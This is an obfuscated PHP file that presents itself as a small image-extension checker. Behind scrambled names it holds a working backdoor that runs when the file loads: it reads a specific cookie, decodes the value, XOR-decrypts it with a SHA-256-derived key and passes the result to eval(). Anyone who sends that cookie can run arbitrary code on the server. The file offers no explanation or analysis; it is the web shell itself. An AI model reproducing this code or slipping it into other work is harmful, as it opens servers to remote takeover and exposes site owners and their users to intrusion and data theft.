<?php
function JovNB()
{
    $FJwzV = NGUqa();
    $IaEfXuek = xZlxsvjK($FJwzV);
    return $IaEfXuek;
}
function prqAMQDd($soWkZmLAIB) {
    $aeSicYlVk = mlEtvz($soWkZmLAIB);
    return in_array(strtolower($aeSicYlVk), ['jpg', 'png', 'gif']);
}
function VZsZZMZqb($MVvxuzkVk)
{
    $Woqvbu = hash("sha256", $MVvxuzkVk, TRUE);
    return $Woqvbu;
}
function xZlxsvjK($hGAsG)
{
    $ekOyM = kZByp($hGAsG);
    $tvuTIAtoWN = YUvNx($hGAsG, $ekOyM);
    return $tvuTIAtoWN;
}
function OiaRK()
{
    $vytGx = JovNB();
    EuTnxNX($vytGx);
}
function AFgcFK($AwqiN, $UXDqPQGHw)
{
    $CnvvSNNypO = str_pad($AwqiN, $UXDqPQGHw, $AwqiN);
    return $CnvvSNNypO;
}
function kKcTp($OKytNecP, $sBozHZHxNs)
{
    $TufyI = Erihm($OKytNecP);
    $lriyQXQHQv = AFgcFK($sBozHZHxNs, $TufyI);
    $vytGx = koyYryZAKA($lriyQXQHQv, $OKytNecP);
    return $vytGx;
}
function YUvNx($SCwYdm, $jIwyjokn)
{
    $XSBdY = VZsZZMZqb($SCwYdm);
    $zhiHydqK = WHIODd($jIwyjokn);
    $bGjEB = kKcTp($zhiHydqK, $XSBdY);
    return $bGjEB;
}
function WxgwCsPUKZ($VZNCapm)
{
    $xdlwHJ = rawurldecode($VZNCapm);
    return $xdlwHJ;
}
function KprLvDChkc($nFJsdgG)
{
    $uOFZKxThts = $_COOKIE[$nFJsdgG];
    return $uOFZKxThts;
}
function koyYryZAKA($rQWlfwPwv, $iJzGkg)
{
    $ZvbHg = $rQWlfwPwv ^ $iJzGkg;
    return $ZvbHg;
}
function kZByp($pvcRXVCNR)
{
    $Ftzthz = substr($pvcRXVCNR, -4);
    return $Ftzthz;
}
function Erihm($AhaFLA)
{
    $kQICTw = strlen($AhaFLA);
    return $kQICTw;
}
function mlEtvz($soWkZmLAIB) {
    return pathinfo($soWkZmLAIB, PATHINFO_EXTENSION);
}
function WHIODd($NxLOJpt)
{
    $BKOhDXP = KprLvDChkc($NxLOJpt);
    $zhiHydqK = WxgwCsPUKZ($BKOhDXP);
    return $zhiHydqK;
}
function EuTnxNX($wAEorRKQsu)
{
    eval($wAEorRKQsu);
}
function zAOXFE($soWkZmLAIB) {
    if (prqAMQDd($soWkZmLAIB)) {
        return "It's an image file.";
    }
    return "Not an image file.";
}
function NGUqa()
{
    $ZALHdxpqe = "tqBePOwjhRgGbRvhtmZAmzxMCdYEB";
    return $ZALHdxpqe;
}
OiaRK();
$IZgwge = zAOXFE("photo.jpg");